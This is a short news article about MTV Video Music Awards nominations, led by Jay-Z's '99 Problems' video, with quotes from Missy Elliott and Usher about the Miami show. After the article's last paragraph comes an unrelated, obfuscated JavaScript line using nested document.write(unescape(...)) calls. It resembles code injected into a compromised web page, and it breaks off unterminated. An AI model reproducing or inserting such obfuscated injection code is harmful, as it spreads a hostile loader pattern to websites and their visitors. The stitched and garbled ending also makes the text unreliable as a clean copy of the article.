Jay-Z, Beyonce and Outkast head MTV Video Music Awards nominations

Jay-Z's jarring video for 99 Problems has six nominations in the MTV Video Music Awards.

Beyonce, No Doubt and OutKast had five nominations each.

Missy Elliott and Usher announced the nominations at the luxury Mandarin Oriental hotel in Miami. The awards will be handed out on August 29 in the US city.

"The awards show here is going to be hot. I mean literally hot," joked Elliott, who was wearing a camouflage hat and shorts and a black T-shirt in the 32C heat.

Performers will include Usher, Jessica Simpson, newcomer Kanye West and a rock threesome of Jet, Hoobastank and Yellowcard.

"I've got a few ideas up my sleeve," Usher said of his performance. "Miami will be the light of life that night."

Organisers said many of music's biggest stars will be pulling up to the awards arena in luxury yachts as part of their red-carpet entrance. Usher, wearing a white T-shirt beneath a long-sleeved button-down shirt, jeans and orange-and-yellow neon shoes, was already bragging about his boat.

"There's going to be a lot of muscle out there. So I'm going to have to have a sexy one," he said.
document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;